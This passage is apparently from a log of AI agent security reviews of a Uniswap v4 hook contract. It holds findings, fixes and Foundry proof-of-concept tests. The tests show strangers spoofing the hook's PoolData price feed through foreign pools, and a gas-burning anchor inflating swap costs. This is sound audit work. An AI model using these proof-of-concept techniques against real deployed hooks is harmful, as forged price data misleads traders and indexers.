fee is set. The pool id hashed from calldata equals the real id. The hook reads state after the pool writes it, returns a zero delta that the manager ignores, never holds or moves value, and leaves the factory's initialize, seed, collect and remove paths untouched. The token is unmodified OpenZeppelin ERC20 with a fixed supply. The three static-analysis leads at the medium level or above were checked and are not defects.\n\n**Not reached.** Nothing in my area was left unreached. The permissions area items, such as single-step ownership transfer, are noted in coverage as outside my scope.","treeHash":null,"usage":{"cachedInputTokens":1662758,"inputTokens":482,"model":"claude-fable-5-1","outputTokens":33483,"runtime":"claude","turns":38,"wallClockMs":519899}},{"artifacts":[],"attempt":1,"bundleHash":null,"device":"33bef35e96ccb653","findings":[{"citation":"resolved","description":"Access control x asymmetry. beforeInitialize accepts any pool from any initializer: it checks only msg.sender == poolManager and imposes no rule on sender, currencies, fee or spacing (src/SiphonHook.sol:147-149; the README and test_anyoneCanOpenAnotherPoolOnTheHook state this is intended). afterSwap then reads whichever pool the PoolKey in calldata names (line 162-168) and emits PoolData (lines 182-192) whose nine fields carry no pool id, no currencies and no sender. The hook's one product is this event feed, and PoolManager.initialize is permissionless, so an unprivileged account can deploy two worthless tokens, open a pool on this hook at any price it likes, seed it with dust and swap on it. Every such swap makes the hook emit, from its own address and under the launch feed's exact signature, a record whose sqrtPriceSelf, tickSelf, liquidity, swapAmount and feeAmount are the attacker's. A consumer that filters on (emitter == hook, topic0 == PoolData) takes those records for the launch pool's: fake prices, fake volume and fake liquidity enter the SIPHON feed at the cost of gas, and nothing on-chain lets the consumer tell them apart without re-deriving the pool from the PoolManager's own Swap event, which defeats the hook's purpose. The brief describes one pool ('on every afterSwap ... emit PoolData(... sqrtPriceSelf, tickSelf ...)'); 'self' is only meaningful if the feed belongs to one pool. Fix (either suffices; the 2 KB budget is tight, so measure): (a) bind the hook to its launch pool: in beforeInitialize hash the key the same way afterSwap does (the key also sits at calldata offset 36 there), store it once in a private bytes32 and revert on a second initialization; afterSwap can then drop its own hashing and read the stored id, which pays back most of the added code. A variant with a public getter and abi.encode(key) measured 2151 bytes of runtime, over budget, so keep the slot private and reuse the calldata hash. (b) Add the pool id (or currency0/currency1) to the PoolData event so consumers can filter. Note that three existing tests (test_anyoneCanOpenAnotherPoolOnTheHook, test_afterSwapHashesTheKeyItWasGiven, and the anchor-pool setup if it reuses the hook) assume foreign pools open and need adjusting under fix (a).","line":147,"path":"src/SiphonHook.sol","proof":"// SPDX-License-Identifier: MIT\npragma solidity 0.8.26;\n\nimport {Test, Vm} from \"forge-std/Test.sol\";\nimport {ERC20} from \"@openzeppelin/contracts/token/ERC20/ERC20.sol\";\nimport {IERC20} from \"@openzeppelin/contracts/token/ERC20/IERC20.sol\";\nimport {PoolManager} from \"v4-core/src/PoolManager.sol\";\nimport {IPoolManager} from \"v4-core/src/interfaces/IPoolManager.sol\";\nimport {IUnlockCallback} from \"v4-core/src/interfaces/callback/IUnlockCallback.sol\";\nimport {IHooks} from \"v4-core/src/interfaces/IHooks.sol\";\nimport {PoolKey} from \"v4-core/src/types/PoolKey.sol\";\nimport {PoolId} from \"v4-core/src/types/PoolId.sol\";\nimport {Currency} from \"v4-core/src/types/Currency.sol\";\nimport {BalanceDelta} from \"v4-core/src/types/BalanceDelta.sol\";\nimport {ModifyLiquidityParams, SwapParams} from \"v4-core/src/types/PoolOperation.sol\";\nimport {TickMath} from \"v4-core/src/libraries/TickMath.sol\";\nimport {StateLibrary} from \"v4-core/src/libraries/StateLibrary.sol\";\nimport {SiphonHook} from \"src/SiphonHook.sol\";\nimport {SiphonToken} from \"src/SiphonToken.sol\";\nimport {HookFlags} from \"src/HookFlags.sol\";\n\ncontract ScratchToken is ERC20 {\n    constructor(string memory n) ERC20(n, n) {\n        _mint(msg.sender, 1e30);\n    }\n}\n\n/// @dev Swaps and adds liquidity from its own balances; ERC-20 and native ETH aware.\ncontract ScratchRouter is IUnlockCallback {\n    IPoolManager public immutable manager;\n\n    constructor(IPoolManager m) {\n        manager = m;\n    }\n\n    function addLiquidity(PoolKey memory key, int256 liquidity) external {\n        manager.unlock(abi.encode(uint8(0), key, true, int256(0), liquidity));\n    }\n\n    function swap(PoolKey memory key, bool zeroForOne, int256 amountSpecified) external {\n        manager.unlock(abi.encode(uint8(1), key, zeroForOne, amountSpecified, int256(0)));\n    }\n\n    function unlockCallback(bytes calldata data) external returns (bytes memory) {\n        require(msg.sender == address(manager), \"not manager\");\n        (uint8 kind, PoolKey memory key, bool zeroForOne, int256 amountSpecified, int256 liquidity) =\n            abi.decode(data, (uint8, PoolKey, bool, int256, int256));\n        BalanceDelta delta;\n        if (kind == 0) {\n            (delta,) = manager.modifyLiquidity(\n                key,\n                ModifyLiquidityParams({\n                    tickLower: TickMath.minUsableTick(key.tickSpacing),\n                    tickUpper: TickMath.maxUsableTick(key.tickSpacing),\n                    liquidityDelta: liquidity,\n                    salt: bytes32(0)\n                }),\n                \"\"\n            );\n        } else {\n            delta = manager.swap(\n                key,\n                SwapParams({\n                    zeroForOne: zeroForOne,\n                    amountSpecified: amountSpecified,\n                    sqrtPriceLimitX96: zeroForOne ? TickMath.MIN_SQRT_PRICE + 1 : TickMath.MAX_SQRT_PRICE - 1\n                }),\n                \"\"\n            );\n        }\n        _settle(key.currency0, delta.amount0());\n        _settle(key.currency1, delta.amount1());\n        return \"\";\n    }\n\n    function _settle(Currency currency, int128 amount) private {\n        if (amount < 0) {\n            uint256 owed = uint256(uint128(-amount));\n            manager.sync(currency);\n            if (currency.isAddressZero()) {\n                manager.settle{value: owed}();\n            } else {\n                IERC20(Currency.unwrap(currency)).transfer(address(manager), owed);\n                manager.settle();\n            }\n        } else if (amount > 0) {\n            manager.take(currency, address(this), uint256(uint128(amount)));\n        }\n    }\n\n    receive() external payable {}\n}\n\n/// @notice An unprivileged account opens its own pool on the hook and makes the hook emit PoolData\n/// records that are indistinguishable, by emitter and signature, from the launch pool's.\ncontract SpoofedPoolDataTest is Test {\n    using StateLibrary for IPoolManager;\n\n    uint160 constant SQRT_PRICE_1_1 = 79228162514264337593543950336;\n    uint160 constant FLAGS = HookFlags.BEFORE_INITIALIZE | HookFlags.AFTER_SWAP;\n    bytes32 constant POOL_DATA_SIG =\n        keccak256(\"PoolData(uint256,uint160,int24,uint160,int24,int256,bool,uint256,uint128)\");\n\n    IPoolManager manager;\n    SiphonToken token;\n    SiphonHook hook;\n    PoolKey launchKey;\n\n    address owner = makeAddr(\"owner\");\n    address factory = makeAddr(\"factory\");\n    address attacker = makeAddr(\"attacker\");\n\n    function setUp() public {\n        manager = IPoolManager(address(new PoolManager(address(this))));\n        vm.prank(factory);\n        token = new SiphonToken();\n\n        bytes32 initHash = keccak256(abi.encodePacked(type(SiphonHook).creationCode, abi.encode(manager, owner)));\n        for (uint256 i = 0; i < 100_000; i++) {\n            address predicted = vm.computeCreate2Address(bytes32(i), initHash, address(this));\n            if (!HookFlags.matches(predicted, FLAGS)) continue;\n            hook = new SiphonHook{salt: bytes32(i)}(manager, owner);\n            break;\n        }\n        require(address(hook) != address(0), \"no salt\");\n\n        // The launch pool: ETH / SIPH, fee 12500, spacing 60, opened by the factory at 1:1.\n        launchKey = PoolKey({\n            currency0: Currency.wrap(address(0)),\n            currency1: Currency.wrap(address(token)),\n            fee: 12_500,\n            tickSpacing: 60,\n            hooks: IHooks(address(hook))\n        });\n        vm.prank(factory);\n        manager.initialize(launchKey, SQRT_PRICE_1_1);\n    }\n\n    function test_strangerCannotMakeTheHookEmitPoolDataForAForeignPool() public {\n        // 1. The attacker deploys two worthless tokens and opens a pool on the launch hook, at a\n        //    price of their choosing (tick 60000: about 403 to 1).\n        vm.startPrank(attacker);\n        ScratchToken a = new ScratchToken(\"A\");\n        ScratchToken b = new ScratchToken(\"B\");\n        (ScratchToken t0, ScratchToken t1) = address(a) < address(b) ? (a, b) : (b, a);\n        PoolKey memory foreign = PoolKey({\n            currency0: Currency.wrap(address(t0)),\n            currency1: Currency.wrap(address(t1)),\n            fee: 100,\n            tickSpacing: 1,\n            hooks: IHooks(address(hook))\n        });\n        bool opened;\n        try manager.initialize(foreign, TickMath.getSqrtPriceAtTick(60_000)) {\n            opened = true;\n        } catch {}\n        vm.stopPrank();\n        if (!opened) return; // a hook that refuses foreign pools has nothing to spoof\n\n        // 2. The attacker seeds it and trades on it.\n        ScratchRouter router = new ScratchRouter(manager);\n        vm.startPrank(attacker);\n        t0.transfer(address(router), 1e29);\n        t1.transfer(address(router), 1e29);\n        vm.stopPrank();\n        router.addLiquidity(foreign, 1e18);\n\n        vm.recordLogs();\n        router.swap(foreign, true, -1e18);\n        Vm.Log[] memory logs = vm.getRecordedLogs();\n\n        // 3. The launch pool never moved.\n        (uint160 launchPrice,,,) = manager.getSlot0(launchKey.toId());\n        assertEq(launchPrice, SQRT_PRICE_1_1, \"the launch pool did not trade\");\n\n        // 4. Yet the hook emitted a PoolData record, from its own address and with the launch feed's\n        //    signature, carrying the attacker's price. A consumer filtering on (emitter, topic0) takes\n        //    it for the launch pool's.\n        uint256 spoofed;\n        for (uint256 i = 0; i < logs.length; i++) {\n            if (logs[i].emitter != address(hook) || logs[i].topics[0] != POOL_DATA_SIG) continue;\n            (uint160 sqrtPriceSelf,,,,,,,) =\n                abi.decode(logs[i].data, (uint160, int24, uint160, int24, int256, bool, uint256, uint128));\n            assertTrue(sqrtPriceSelf != launchPrice, \"the record carries a price the launch pool never had\");\n            spoofed++;\n        }\n        assertEq(spoofed, 0, \"the hook emitted PoolData for a pool that is not the launch pool\");\n    }\n}","reproduction":"State: hook deployed with owner O; the factory has initialized the launch pool (ETH/SIPH, fee 12500, spacing 60) at sqrtPriceX96 = 79228162514264337593543950336 (tick 0). Steps by an unprivileged account A: 1) deploy ERC-20s T0 < T1; 2) PoolManager.initialize(PoolKey(T0, T1, fee 100, spacing 1, hooks = SiphonHook), getSqrtPriceAtTick(60000)) -> beforeInitialize returns its selector, pool opens; 3) add 1e18 liquidity full range; 4) swap exact input 1e18 T0 -> T1. Expected: the hook emits no PoolData record for a pool that is not the launch pool, or emits one that names its pool. Actual: the hook emits one PoolData(blockNumber, sqrtPriceSelf ~ tick 60000, tickSelf ~ 60000, 0, 0, -1e18, true, 1e14, 1e18) from address(hook) with topic0 = keccak256('PoolData(uint256,uint160,int24,uint160,int24,int256,bool,uint256,uint128)') while the launch pool's slot0 is still at tick 0. test/scratch/SpoofedPoolData.t.sol fails on this tree with 'the hook emitted PoolData for a pool that is not the launch pool: 1 != 0' and passes once beforeInitialize refuses a second pool (verified in a patched copy) or once the event's signature changes to carry the pool id.","severity":"medium","snippet":"    function beforeInitialize(address, PoolKey calldata, uint160) external view onlyPoolManager returns (bytes4) {\n        return IHooks.beforeInitialize.selector;\n    }","title":"Anyone can open a foreign pool on the hook and make it emit PoolData records indistinguishable from the launch pool's (unrestricted beforeInitialize + event carries no pool identity)"},{"citation":"resolved","description":"Trust assumption, not a permission bypass: only the owner can set the anchor (setAnchor is onlyOwner, line 90) and the README names this risk. Recorded because the hook's stated guarantee is 'a misconfigured anchor can never halt trading' and the cost side is unbounded: the anchor receives gas() (63/64 of what afterSwap has). Measured: with no anchor a 1 ETH exact-input buy through a minimal router costs 126,053 gas; with an anchor whose fallback loops forever, the same swap at a 1,000,000 gas limit still succeeds (each nested frame keeps 1/64, enough for settlement) but consumes 984,112 gas, all of it burned in the anchor. Swaps do not halt at ordinary limits (a 300k limit would fail), but every swap pays whatever the wallet's estimate allows, until the owner clears the anchor. A fixed gas stipend in the staticcall (for example 30,000, several times what StateView.getSlot0 needs) bounds this at no cost to correct anchors.","line":208,"path":"src/SiphonHook.sol","reproduction":"Owner calls setAnchor(B, bytes32(1)) where B is a contract whose fallback is an infinite loop. A swapper calls router.swap(launchKey, true, -1e18) with gas 1,000,000. Expected: a bounded anchor read, swap gas near the 126k baseline. Actual: swap succeeds and reports 984,112 gas used (test/scratch/AnchorGas.t.sol, run with -vvvv: GasBurningAnchor::fallback [875765] inside SiphonHook::afterSwap [891223]).","severity":"info","snippet":"            let ok := staticcall(gas(), target, p, 36, p, 64)","title":"Anchor staticcall forwards all remaining gas: a misbehaving anchor makes every swap cost the full gas limit (owner-set, documented, hardening note)"},{"citation":"resolved","description":"Design note for the owner, not a bypass. Ownership moves in one call with only a zero-address check; there is no pending-owner acceptance. A transfer to an address nobody controls leaves the anchor and pause settings frozen for the life of the pool (no other writer exists for owner, anchor or paused). Two-step transfer (pendingOwner + acceptOwnership) is the usual protection; with 88 bytes of runtime headroom it may not fit, so at minimum document that the owner must verify the address and consider a multisig before transferring.","line":103,"path":"src/SiphonHook.sol","reproduction":"Owner O calls transferOwnership(X) where X is an EOA whose key is lost. Expected (two-step): nothing changes until X accepts. Actual: owner == X immediately; O's next setPaused(true) reverts NotOwner(); no caller can ever change anchor or paused again.","severity":"info","snippet":"    function transferOwnership(address newOwner) external onlyOwner {\n        if (newOwner == address(0)) revert ZeroAddress();\n        emit OwnershipTransferred(owner, newOwner);\n        owner = newOwner;\n    }","title":"transferOwnership is single-step: a mistyped newOwner permanently loses setAnchor and setPaused"}],"hash":"acd62a8b1620a8d3c88c60de36b5858a1d7ce222e4c7d6b3f5d1e9bd8b7e5eed","nodeId":"5b476bb0-3303-4c4a-95db-b68f4d23e57e","outcome":"completed","summary":"The review is complete. The findings file is written at the repository root, with one proof test under test/scratch/ that fails on this tree for the stated reason.\n\n**Result: one medium defect, two informational notes, 12 coverage rows (all 7 listed entry points plus 5 invariants).** No source files were changed. Git shows the tree clean apart from the findings file and the scratch tests, which are ignored.\n\n**Finding 1, medium, src/SiphonHook.sol:147.** The permission model holds at every callback and setter, but it has one gap at the seam of access control and asymmetry. The initialization callback accepts any pool from any initializer, and the PoolData event carries no pool identity. An unprivileged account can deploy two worthless tokens, open a pool on this hook at any price, seed it with dust and swap. The hook then emits, from its own address and under the launch feed's exact signature, records carrying the attacker's price, liquidity and volume. A consumer filtering on emitter and topic cannot tell them from the launch pool's. The proof test opens such a pool at tick 60000 while the launch pool sits at tick 0 and fails with \"the hook emitted PoolData for a pool that is not the launch pool\". In a throwaway copy with a one-pool guard in beforeInitialize it passes. The fix note warns that a naive guard measured 2151 bytes of runtime, over the 2KB budget, and points at a tighter variant that reuses the calldata hash and drops the public getter, or at adding the pool id to the event.\n\n**Finding 2, info, line 208.** The anchor staticcall forwards all remaining gas. Measured with a gas-burning anchor: the swap still succeeds at a 1M limit because each nested frame keeps its 1/64, but costs 984k gas instead of 126k. Owner-set and documented, so recorded as a trust note with a gas-stipend suggestion, not a defect.\n\n**Finding 3, info, line 103.** Single-step ownership transfer. Design note only.\n\n**Checked and holding:** only-PoolManager guards on both callbacks, only-owner guards on all three setters, the permissions assembly against the struct and the address bits, the paused and anchor branches of afterSwap returning the selector and zero delta on every path, the zero-delta and no-custody invariants, and the factory's zero-change fee collect. The static-analysis leads (unused protocolFee return, Yul return, missing zero check on the anchor) were each traced and are not defects.\n\n**Not reached:** nothing in the assigned area. Outside it, the feeAmount arithmetic and the Arbitrum block-number semantics were read but belong to the math and control-flow specialists.","treeHash":null,"usage":{"cachedInputTokens":1385578,"inputTokens":450,"model":"claude-fable-5-1","outputTokens":28923,"runtime":"claude","turns":29,"wallClockMs":443506}},{"artifacts":[],"attempt":1,"bundleHash":null,"device":"8e25456c4ae69acf","findings":[{"citation":"resolved","description":"beforeInitialize accepts every PoolKey that names the hook, and afterSwap emits PoolData for every pool that calls it. The event carries no pool id or currency, so a PoolData log from a foreign pool comes from the same address, has the same topic and the same fields as one from the launch pool. In a pool with zero liquidity, a v4 swap moves the price straight to the caller's sqrtPriceLimitX96 with a zero BalanceDelta. A stranger therefore pays only gas to emit PoolData with any sqrtPriceSelf/tickSelf, liquidity 0, feeAmount 0, and any swapAmount/zeroForOne. Indexers, bots or frontends that read PoolData as the SIPH pool's price/oracle stream (the hook's only purpose) cannot tell these apart without decoding every transaction's Swap event. The README mentions that other pools 'simply emit PoolData too', but the emitted data still claims to be 'This pool's sqrtPriceX96' (NatSpec line 39) with no way to say which pool. Boundary/numerical gap: the price field has no tie to the launch pool, and sqrtPriceSelf can take any value in [MIN_SQRT_PRICE, MAX_SQRT_PRICE].","line":147,"path":"src/SiphonHook.sol","proof":"// SPDX-License-Identifier: MIT\npragma solidity 0.8.26;\n\nimport {Test, Vm} from \"forge-std/Test.sol\";\nimport {PoolManager} from \"v4-core/src/PoolManager.sol\";\nimport {IPoolManager} from \"v4-core/src/interfaces/IPoolManager.sol\";\nimport {IHooks} from \"v4-core/src/interfaces/IHooks.sol\";\nimport {IUnlockCallback} from \"v4-core/src/interfaces/callback/IUnlockCallback.sol\";\nimport {PoolKey} from \"v4-core/src/types/PoolKey.sol\";\nimport {Currency} from \"v4-core/src/types/Currency.sol\";\nimport {BalanceDelta} from \"v4-core/src/types/BalanceDelta.sol\";\nimport {SwapParams, ModifyLiquidityParams} from \"v4-core/src/types/PoolOperation.sol\";\nimport {TickMath} from \"v4-core/src/libraries/TickMath.sol\";\nimport {SiphonHook} from \"src/SiphonHook.sol\";\nimport {SiphonToken} from \"src/SiphonToken.sol\";\n\ncontract RouterP1 is IUnlockCallback {\n    IPoolManager immutable m;\n    constructor(IPoolManager m_) { m = m_; }\n    function swap(PoolKey memory key, bool z, int256 amt, uint160 limit) external {\n        m.unlock(abi.encode(uint8(0), abi.encode(key, z, amt, limit)));\n    }\n    function add(PoolKey memory key, int256 liq) external {\n        m.unlock(abi.encode(uint8(1), abi.encode(key, liq)));\n    }\n    function unlockCallback(bytes calldata data) external returns (bytes memory) {\n        (uint8 k, bytes memory d) = abi.decode(data, (uint8, bytes));\n        BalanceDelta delta;\n        PoolKey memory key;\n        if (k == 0) {\n            bool z; int256 amt; uint160 limit;\n            (key, z, amt, limit) = abi.decode(d, (PoolKey, bool, int256, uint160));\n            delta = m.swap(key, SwapParams(z, amt, limit), \"\");\n        } else {\n            int256 liq;\n            (key, liq) = abi.decode(d, (PoolKey, int256));\n            (delta,) = m.modifyLiquidity(key, ModifyLiquidityParams(-887220, 887220, liq, 0), \"\");\n        }\n        _settle(key.currency0, delta.amount0());\n        _settle(key.currency1, delta.amount1());\n        return \"\";\n    }\n    function _settle(Currency c, int128 a) private {\n        if (a < 0) {\n            m.sync(c);\n            if (c.isAddressZero()) m.settle{value: uint128(-a)}();\n            else { SiphonToken(Currency.unwrap(c)).transfer(address(m), uint128(-a)); m.settle(); }\n        } else if (a > 0) m.take(c, address(this), uint128(a));\n    }\n    receive() external payable {}\n}\n\ncontract SiphonP1 is Test {\n    bytes32 constant SIG = keccak256(\"PoolData(uint256,uint160,int24,uint160,int24,int256,bool,uint256,uint128)\");\n    IPoolManager manager;\n    SiphonHook hook;\n    SiphonToken token;\n    RouterP1 r;\n    PoolKey key;\n    address owner = makeAddr(\"owner\");\n\n    function setUp() public {\n        manager = IPoolManager(address(new PoolManager(address(this))));\n        token = new SiphonToken();\n        address at = address(uint160(0x4444 << 144) | 0x2040);\n        deployCodeTo(\"src/SiphonHook.sol:SiphonHook\", abi.encode(manager, owner), at);\n        hook = SiphonHook(at);\n        key = PoolKey(Currency.wrap(address(0)), Currency.wrap(address(token)), 12500, 60, IHooks(at));\n        manager.initialize(key, 79228162514264337593543950336);\n        r = new RouterP1(manager);\n        vm.deal(address(r), 1e24);\n        token.transfer(address(r), 1e26);\n        r.add(key, 1e21);\n    }\n\n    /// Anyone can open a second, empty pool on the hook and make it emit PoolData with any price they choose.\n    function test_strangerPoolCannotEmitPoolData() public {\n        address stranger = makeAddr(\"stranger\");\n        vm.startPrank(stranger);\n        SiphonToken a = new SiphonToken();\n        SiphonToken b = new SiphonToken();\n        (a, b) = address(a) < address(b) ? (a, b) : (b, a);\n        PoolKey memory fake = PoolKey(Currency.wrap(address(a)), Currency.wrap(address(b)), 12500, 60, IHooks(address(hook)));\n        try manager.initialize(fake, 79228162514264337593543950336) {}\n        catch { vm.stopPrank(); return; } // a fix that refuses foreign pools passes here\n        RouterP1 sr = new RouterP1(manager);\n        vm.stopPrank();\n        uint160 forged = TickMath.getSqrtPriceAtTick(200_000); // ~4.8e8x the real price, costs nothing\n        vm.recordLogs();\n        sr.swap(fake, false, -1, forged); // zero liquidity: price moves to the limit for free\n        Vm.Log[] memory logs = vm.getRecordedLogs();\n        for (uint256 i; i < logs.length; i++) {\n            if (logs[i].emitter == address(hook) && logs[i].topics[0] == SIG) {\n                (uint160 p,,,,,,,) = abi.decode(logs[i].data, (uint160, int24, uint160, int24, int256, bool, uint256, uint128));\n                emit log_named_uint(\"forged sqrtPriceSelf in PoolData\", p);\n                fail();\n            }\n        }\n    }\n\n}","reproduction":"After the launch pool (ETH/SIPH, fee 12500, spacing 60) is initialized with liquidity: (1) a stranger deploys two throwaway ERC-20s A<B; (2) the stranger calls PoolManager.initialize(PoolKey(A,B,12500,60,hook), 2^96), which beforeInitialize accepts; (3) the stranger unlocks and calls swap(fakeKey, SwapParams(false, -1, getSqrtPriceAtTick(200000)), \"\"). Expected: no PoolData, or a record identifying the foreign pool. Actual: the hook emits PoolData(blockNumber=1, sqrtPriceSelf=1744244129640337381386292603617838, tickSelf=200000, 0, 0, swapAmount=-1, zeroForOne=false, feeAmount=0, liquidity=0) from the hook address. No tokens move. The proof test fails on the current code. Fix options: record the first initialized pool id in beforeInitialize (or accept only the factory as sender, taken as a \"$factory\" constructor arg) and refuse other pools, or skip emission when the hashed key differs from the stored id. Either makes the test pass, and each costs only a few dozen bytes against the 88 bytes of headroom (runtime is 1960 bytes).","severity":"medium","snippet":"    function beforeInitialize(address, PoolKey calldata, uint160) external view onlyPoolManager returns (bytes4) {\n        return IHooks.beforeInitialize.selector;\n    }","title":"Anyone can make the hook emit PoolData with any price they choose, at no cost, by opening an empty pool on it"},{"citation":"resolved","description":"_readAnchor forwards gas() to the owner-set anchor. If the anchor consumes all forwarded gas, the hook and the PoolManager have only 1/64 of the remaining gas to finish the swap. This happens when the anchor executes INVALID (0xfe), loops, or is a pre-0.8 contract whose assert or fallback burns gas. Swaps sent with normal gas limits then revert OutOfGas. The NatSpec at line 198 ('a misconfigured anchor can never block a swap') and the README ('A misconfigured anchor can never halt trading') do not hold in this case. A swap still succeeds if the sender supplies roughly 64 times the gas it needs, so this is a large gas-cost and liveness hazard behind an owner action, not a permanent freeze. The bound is not checked: no gas stipend is set on the read, and a legitimate StateView.getSlot0 costs about 5k gas.","line":208,"path":"src/SiphonHook.sol","proof":"// SPDX-License-Identifier: MIT\npragma solidity 0.8.26;\n\nimport {Test, Vm} from \"forge-std/Test.sol\";\nimport {PoolManager} from \"v4-core/src/PoolManager.sol\";\nimport {IPoolManager} from \"v4-core/src/interfaces/IPoolManager.sol\";\nimport {IHooks} from \"v4-core/src/interfaces/IHooks.sol\";\nimport {IUnlockCallback} from \"v4-core/src/interfaces/callback/IUnlockCallback.sol\";\nimport {PoolKey} from \"v4-core/src/types/PoolKey.sol\";\nimport {Currency} from \"v4-core/src/types/Currency.sol\";\nimport {BalanceDelta} from \"v4-core/src/types/BalanceDelta.sol\";\nimport {SwapParams, ModifyLiquidityParams} from \"v4-core/src/types/PoolOperation.sol\";\nimport {TickMath} from \"v4-core/src/libraries/TickMath.sol\";\nimport {SiphonHook} from \"src/SiphonHook.sol\";\nimport {SiphonToken} from \"src/SiphonToken.sol\";\n\ncontract RouterP2 is IUnlockCallback {\n    IPoolManager immutable m;\n    constructor(IPoolManager m_) { m = m_; }\n    function swap(PoolKey memory key, bool z, int256 amt, uint160 limit) external {\n        m.unlock(abi.encode(uint8(0), abi.encode(key, z, amt, limit)));\n    }\n    function add(PoolKey memory key, int256 liq) external {\n        m.unlock(abi.encode(uint8(1), abi.encode(key, liq)));\n    }\n    function unlockCallback(bytes calldata data) external returns (bytes memory) {\n        (uint8 k, bytes memory d) = abi.decode(data, (uint8, bytes));\n        BalanceDelta delta;\n        PoolKey memory key;\n        if (k == 0) {\n            bool z; int256 amt; uint160 limit;\n            (key, z, amt, limit) = abi.decode(d, (PoolKey, bool, int256, uint160));\n            delta = m.swap(key, SwapParams(z, amt, limit), \"\");\n        } else {\n            int256 liq;\n            (key, liq) = abi.decode(d, (PoolKey, int256));\n            (delta,) = m.modifyLiquidity(key, ModifyLiquidityParams(-887220, 887220, liq, 0), \"\");\n        }\n        _settle(key.currency0, delta.amount0());\n        _settle(key.currency1, delta.amount1());\n        return \"\";\n    }\n    function _settle(Currency c, int128 a) private {\n        if (a < 0) {\n            m.sync(c);\n            if (c.isAddressZero()) m.settle{value: uint128(-a)}();\n            else { SiphonToken(Currency.unwrap(c)).transfer(address(m), uint128(-a)); m.settle(); }\n        } else if (a > 0) m.take(c, address(this), uint128(a));\n    }\n    receive() external payable {}\n}\n\ncontract SiphonP2 is Test {\n    bytes32 constant SIG = keccak256(\"PoolData(uint256,uint160,int24,uint160,int24,int256,bool,uint256,uint128)\");\n    IPoolManager manager;\n    SiphonHook hook;\n    SiphonToken token;\n    RouterP2 r;\n    PoolKey key;\n    address owner = makeAddr(\"owner\");\n\n    function setUp() public {\n        manager = IPoolManager(address(new PoolManager(address(this))));\n        token = new SiphonToken();\n        address at = address(uint160(0x4444 << 144) | 0x2040);\n        deployCodeTo(\"src/SiphonHook.sol:SiphonHook\", abi.encode(manager, owner), at);\n        hook = SiphonHook(at);\n        key = PoolKey(Currency.wrap(address(0)), Currency.wrap(address(token)), 12500, 60, IHooks(at));\n        manager.initialize(key, 79228162514264337593543950336);\n        r = new RouterP2(manager);\n        vm.deal(address(r), 1e24);\n        token.transfer(address(r), 1e26);\n        r.add(key, 1e21);\n    }\n\n    /// An anchor that burns its gas (INVALID opcode) takes 63/64 of the swap's gas; the swap then runs out of gas.\n    function test_gasBurningAnchorDoesNotBreakSwap() public {\n        address bad = makeAddr(\"bad\");\n        vm.etch(bad, hex\"fe\");\n        // baseline: the swap fits comfortably in 400k gas with no anchor\n        r.swap{gas: 400_000}(key, true, -1e15, TickMath.MIN_SQRT_PRICE + 1);\n        vm.prank(owner);\n        hook.setAnchor(bad, bytes32(uint256(1)));\n        r.swap{gas: 400_000}(key, true, -1e15, TickMath.MIN_SQRT_PRICE + 1);\n    }\n}","reproduction":"Launch pool with 1e21 full-range liquidity. Baseline: an exact-input swap of 1e15 wei ETH (zeroForOne) sent with gas 400000 succeeds and uses about 127k gas. The owner then calls setAnchor(addr, id), where addr has runtime code 0xfe. The same swap with gas 400000 now reverts: the trace shows the anchor staticcall consuming about 330k gas (InvalidFEOpcode) and PoolManager.swap ending in OutOfGas. Expected: the read fails cheaply, the anchor fields are zero and the swap proceeds. Fix: pass a fixed stipend, e.g. staticcall(30000, target, p, 36, p, 64). That covers StateView's two extsloads with margin, and the proof test then passes.","severity":"low","snippet":"            let ok := staticcall(gas(), target, p, 36, p, 64)","title":"The anchor staticcall forwards all gas, so a gas-burning anchor makes ordinary swaps run out of gas, despite the documented guarantee"}],"hash":"b0154b3ac048bc164b75146a66f721ee03f31d7d65131cc8db3cc8f646757da1","nodeId":"3454b219-6265-44fe-b250-d68462c826d3","outcome":"completed","summary":"I found two defects in `SiphonHook`, one medium and one low, and recorded them in `.imd-findings.json` with coverage rows for all 7 entry points. Each finding has a Foundry test that fails on the current code; I ran both, then deleted `test/scratch/` and changed no other files.\n\n**Finding 1 (medium): anyone can make the hook emit `PoolData` with any price, for free** (`src/SiphonHook.sol:147`)\n- `beforeInitialize` accepts any pool that names the hook, and the `PoolData` event doesn't say which pool it came from.\n- A stranger opens a pool of two throwaway tokens on the hook and swaps with `amountSpecified = -1`. Because the pool has no liquidity, the price jumps straight to whatever limit they pass.\n- In the test, the hook emitted `PoolData` with `sqrtPriceSelf = 1744244129640337381386292603617838` (tick 200000), liquidity 0 and fee 0, from the same address as the real pool's events. No tokens moved; it cost only gas.\n- The README says other pools \"simply emit PoolData too\", but anyone reading these events as the SIPH pool's price can't tell real ones from forged ones.\n- Fix: store the first pool's id (or accept only the factory as the pool's creator) and refuse or skip every other pool. Either fits in the 88 bytes left under the 2 KB limit.\n\n**Finding 2 (low): a gas-burning anchor makes normal swaps run out of gas** (`src/SiphonHook.sol:208`)\n- The anchor read passes all remaining gas to the anchor contract. If the owner points it at code that burns gas, only 1/64 of the gas is left to finish the swap.\n- In the test, a swap that succeeds with a 400k gas limit (it uses about 127k) runs out of gas once the anchor is a contract that hits the `0xfe` (invalid) opcode.\n- This contradicts the docs' \"a misconfigured anchor can never halt trading\". A swap still goes through if the sender supplies about 64 times the gas, so it's a cost and availability problem behind an owner action, not a permanent freeze.\n- Fix: cap the gas passed to the anchor read, e.g. `staticcall(30000, …)`.\n\n**What holds in the math area:**\n- **Fee arithmetic:** cannot overflow or wrap, including at the most negative `int128` input.\n- **Pool id:** hashing the pool key in place from calldata gives the correct id.\n- **Anchor reply decoding:** the price is correctly masked and the tick correctly sign-extended. A failed call, a short reply or an address with no code gives zeros, and a huge reply can't hurt the hook.\n- **Hook permissions:** the hand-written encoding matches flags `0x2040` (beforeInitialize and afterSwap).\n- **Size:** the runtime is 1960 bytes, under 2 KB.\n- **Admin functions:** `setPaused` and `transferOwnership` behave as intended.\n- **Token:** the three token functions are unmodified OpenZeppelin ERC-20.\n\n**Static-analysis leads I rejected:**\n- **Unused return value:** the protocol fee from `getSlot0` is deliberately ignored.\n- **Missing zero check on `setAnchor`:** zero is how the owner turns the anchor off.\n- **Yul `return`:** it is the function's last statement, so nothing after it is skipped.\n\n**Not reported:**\n- `feeAmount` ignores the protocol fee, if one is ever set, and rounds down where Uniswap rounds up. I worked this out on paper but didn't test it, and the gap is tiny, so it's only a note in the coverage rows.\n- `blockNumber` is the L1 block number on Robinhood Chain. The README already documents this.\n\nAll three math guides were covered. I didn't look at anything else beyond the two findings 